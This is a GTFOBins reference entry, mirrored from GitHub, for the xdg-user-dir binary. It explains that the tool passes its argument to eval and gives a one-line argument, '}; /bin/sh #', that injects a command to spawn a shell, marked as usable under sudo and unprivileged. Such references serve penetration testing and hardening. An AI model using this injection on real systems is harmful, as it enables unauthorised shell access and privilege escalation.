1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/xdg-user-dir
2026-01-12 01:14:19 +01:00

12 lines
287 B
Plaintext

---
comment: |-
The current implementation of `xdg-user-dir` is basically `eval echo \${XDG_${1}_DIR:-$HOME}`, thus is can be easily used to achieve command execution.
functions:
shell:
- code: |-
xdg-user-dir '}; /bin/sh #'
contexts:
sudo:
unprivileged:
...